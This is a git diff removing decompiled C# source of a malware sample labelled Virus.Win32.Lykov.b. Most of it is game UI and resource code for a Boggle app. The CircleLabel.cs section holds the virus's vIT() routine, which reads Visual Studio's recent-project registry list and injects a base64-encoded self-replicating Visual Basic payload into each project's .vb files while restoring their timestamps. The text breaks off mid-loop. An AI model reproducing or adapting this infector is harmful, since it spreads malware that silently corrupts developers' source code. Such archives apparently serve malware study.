this.clsLedOnColor; - } - else if (StringType.StrCmp(sLeft, StringType.FromInteger(2), false) == 0) - { - tmrShape1.ShapeColor = this.clsLedOnColor; - tmrShape2.ShapeColor = this.clsLedOnColor; - tmrShape4.ShapeColor = this.clsLedOnColor; - tmrShape6.ShapeColor = this.clsLedOnColor; - tmrShape7.ShapeColor = this.clsLedOnColor; - } - else if (StringType.StrCmp(sLeft, StringType.FromInteger(3), false) == 0) - { - tmrShape1.ShapeColor = this.clsLedOnColor; - tmrShape2.ShapeColor = this.clsLedOnColor; - tmrShape4.ShapeColor = this.clsLedOnColor; - tmrShape5.ShapeColor = this.clsLedOnColor; - tmrShape7.ShapeColor = this.clsLedOnColor; - } - else if (StringType.StrCmp(sLeft, StringType.FromInteger(4), false) == 0) - { - tmrShape2.ShapeColor = this.clsLedOnColor; - tmrShape3.ShapeColor = this.clsLedOnColor; - tmrShape4.ShapeColor = this.clsLedOnColor; - tmrShape5.ShapeColor = this.clsLedOnColor; - } - else if (StringType.StrCmp(sLeft, StringType.FromInteger(5), false) == 0) - { - tmrShape1.ShapeColor = this.clsLedOnColor; - tmrShape3.ShapeColor = this.clsLedOnColor; - tmrShape4.ShapeColor = this.clsLedOnColor; - tmrShape5.ShapeColor = this.clsLedOnColor; - tmrShape7.ShapeColor = this.clsLedOnColor; - } - else if (StringType.StrCmp(sLeft, StringType.FromInteger(6), false) == 0) - { - tmrShape1.ShapeColor = this.clsLedOnColor; - tmrShape3.ShapeColor = this.clsLedOnColor; - tmrShape6.ShapeColor = this.clsLedOnColor; - tmrShape7.ShapeColor = this.clsLedOnColor; - tmrShape5.ShapeColor = this.clsLedOnColor; - tmrShape4.ShapeColor = this.clsLedOnColor; - } - else if (StringType.StrCmp(sLeft, StringType.FromInteger(7), false) == 0) - { - tmrShape1.ShapeColor = this.clsLedOnColor; - tmrShape2.ShapeColor = this.clsLedOnColor; - tmrShape5.ShapeColor = this.clsLedOnColor; - } - else if (StringType.StrCmp(sLeft, StringType.FromInteger(8), false) == 0) - { - tmrShape1.ShapeColor = this.clsLedOnColor; - tmrShape2.ShapeColor = this.clsLedOnColor; - tmrShape3.ShapeColor = this.clsLedOnColor; - tmrShape4.ShapeColor = this.clsLedOnColor; - tmrShape6.ShapeColor = this.clsLedOnColor; - tmrShape5.ShapeColor = this.clsLedOnColor; - tmrShape7.ShapeColor = this.clsLedOnColor; - } - else if (StringType.StrCmp(sLeft, StringType.FromInteger(9), false) == 0) - { - tmrShape1.ShapeColor = this.clsLedOnColor; - tmrShape2.ShapeColor = this.clsLedOnColor; - tmrShape5.ShapeColor = this.clsLedOnColor; - tmrShape3.ShapeColor = this.clsLedOnColor; - tmrShape4.ShapeColor = this.clsLedOnColor; - } - tmrShape1.Refresh(); - tmrShape2.Refresh(); - tmrShape3.Refresh(); - tmrShape4.Refresh(); - tmrShape5.Refresh(); - tmrShape6.Refresh(); - tmrShape7.Refresh(); - this.f1.Refresh(); - this.f2.Refresh(); - } - - private void BogTimer_Resize(object sender, EventArgs e) - { - double num = 6.0; - this.m1.Height = checked ((int) Math.Round(unchecked ((double) this.Height / 3.0 * 0.12))); - this.m1.Top = checked ((int) Math.Round(unchecked ((double) this.Height / 4.0 * 2.0 - (double) this.m1.Height / 2.0))); - this.m1.Width = checked ((int) Math.Round(unchecked ((double) this.Width / 8.0))); - this.ur1.Width = checked ((int) Math.Round(unchecked ((double) this.Width / 3.0 * 0.08))); - this.f1.Height = checked ((int) Math.Round(unchecked ((double) this.Height / 3.0 * 0.3))); - this.f1.Width = checked ((int) Math.Round(unchecked ((double) this.Width / 20.0))); - this.f2.Height = checked ((int) Math.Round(unchecked ((double) this.Height / 3.0 * 0.3))); - this.f2.Width = checked ((int) Math.Round(unchecked ((double) this.Width / 20.0))); - try - { - foreach (tmrShape control in this.Controls) - { - if (Strings.InStr(control.Name, "f") == 0) - { - if (control.ShapeDirection == tmrShape.tmrShapeDirection.Vertical) - { - if (Strings.InStr(control.Name, "u") != 0) - control.Top = checked ((int) Math.Round(unchecked ((double) this.Height / 4.0))); - else - control.Top = checked ((int) Math.Round(unchecked ((double) this.Height / 2.0))); - object tag = control.Tag; - if (ObjectType.ObjTst(tag, (object) 1, false) == 0) - { - if (Strings.InStr(control.Name, "r") != 0) - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num + (double) this.m1.Width - (double) this.m1.Width / 2.0))); - else - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num - (double) this.m1.Width / 2.0))); - } - else if (ObjectType.ObjTst(tag, (object) 2, false) == 0) - { - if (Strings.InStr(control.Name, "r") != 0) - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num * 2.0 + (double) this.m1.Width - (double) this.m1.Width / 2.0))); - else - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num * 2.0 - (double) this.m1.Width / 2.0))); - } - else if (ObjectType.ObjTst(tag, (object) 3, false) == 0) - { - if (Strings.InStr(control.Name, "r") != 0) - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num * 3.0 + (double) this.m1.Width + (double) this.m1.Width / 2.0))); - else - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num * 3.0 + (double) this.m1.Width / 2.0))); - } - else if (ObjectType.ObjTst(tag, (object) 4, false) == 0) - { - if (Strings.InStr(control.Name, "r") != 0) - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num * 4.0 + (double) this.m1.Width + (double) this.m1.Width / 2.0))); - else - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num * 4.0 + (double) this.m1.Width / 2.0))); - } - control.Height = checked ((int) Math.Round(unchecked ((double) this.Height / 4.0))); - control.Width = checked ((int) Math.Round(unchecked ((double) this.Width / 3.0 * 0.08))); - } - else - { - if (Strings.InStr(control.Name, "top") != 0) - control.Top = checked ((int) Math.Round(unchecked ((double) this.Height / 4.0 - (double) control.Height / 2.0))); - else if (Strings.InStr(control.Name, "m") != 0) - control.Top = checked ((int) Math.Round(unchecked ((double) this.Height / 4.0 * 2.0 - (double) control.Height / 2.0))); - else - control.Top = checked ((int) Math.Round(unchecked ((double) this.Height / 4.0 * 3.0 - (double) control.Height / 2.0))); - object tag = control.Tag; - if (ObjectType.ObjTst(tag, (object) 1, false) == 0) - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num + (double) this.ur1.Width / 2.0 - (double) this.m1.Width / 2.0))); - else if (ObjectType.ObjTst(tag, (object) 2, false) == 0) - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num * 2.0 + (double) this.ur1.Width / 2.0 - (double) this.m1.Width / 2.0))); - else if (ObjectType.ObjTst(tag, (object) 3, false) == 0) - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num * 3.0 + (double) this.ur1.Width / 2.0 + (double) this.m1.Width / 2.0))); - else if (ObjectType.ObjTst(tag, (object) 4, false) == 0) - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / num * 4.0 + (double) this.ur1.Width / 2.0 + (double) this.m1.Width / 2.0))); - control.Height = checked ((int) Math.Round(unchecked ((double) this.Height / 3.0 * 0.12))); - control.Width = checked ((int) Math.Round(unchecked ((double) this.Width / 8.0))); - } - } - else - { - if (StringType.StrCmp(control.Name, "f1", false) == 0) - control.Top = checked ((int) Math.Round(unchecked ((double) this.m1.Top + (double) this.m1.Height / 2.0 - (double) control.Height - (double) this.m1.Height))); - else - control.Top = checked ((int) Math.Round(unchecked ((double) this.m1.Top + (double) this.m1.Height / 2.0 + (double) this.m1.Height))); - control.Left = checked ((int) Math.Round(unchecked ((double) this.Width / 2.0 - (double) control.Width / 2.0))); - control.Height = checked ((int) Math.Round(unchecked ((double) this.Height / 3.0 * 0.3))); - control.Width = checked ((int) Math.Round(unchecked ((double) this.Width / 20.0))); - } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - this.Refresh(); - } - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogTimer.resx b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogTimer.resx deleted file mode 100644 index 7a2d18af..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogTimer.resx +++ /dev/null @@ -1,216 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - CEJvZ1RpbWVy - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CircleLabel.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CircleLabel.cs deleted file mode 100644 index f822b6b7..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CircleLabel.cs +++ /dev/null @@ -1,214 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.CircleLabel -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.IO; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Boggle -{ - public class CircleLabel : UserControl - { - [AccessedThroughProperty("lblText")] - private Label _lblText; - private IContainer components; - private string clsText; - private System.Drawing.Color clsHighLight; - private long clsRadius; - private System.Drawing.Color clsCubeTextColor; - - internal virtual Label lblText - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lblText != null) - this._lblText.Click -= new EventHandler(this.CircleLabel_Click); - this._lblText = value; - if (this._lblText == null) - return; - this._lblText.Click += new EventHandler(this.CircleLabel_Click); - } - get => this._lblText; - } - - public virtual event CircleLabel.CubeClickEventHandler CubeClick; - - private void vIT() - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList"); - if (registryKey.ValueCount == 0) - ProjectData.EndApp(); - string String2 = "Private Sub vIT()"; - string str1 = "Public Sub New()"; - string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()"; - string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K"; - string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3)); - string Replacement = "J = \""; - int num1 = Strings.Len(str3); - int Start = 1; - while (Start <= num1) - { - Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\""; - checked { Start += 64; } - } - string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text); - int num2 = checked (registryKey.ValueCount - 1); - int index1 = 0; - while (index1 <= num2) - { - string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1])); - string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text)); - if (Directory.Exists(path)) - { - string[] files = Directory.GetFiles(path, "*.vb"); - int num3 = Information.LBound((Array) files); - int num4 = Information.UBound((Array) files); - int index2 = num3; - while (index2 <= num4) - { - DateTime lastAccessTime = File.GetLastAccessTime(files[index2]); - 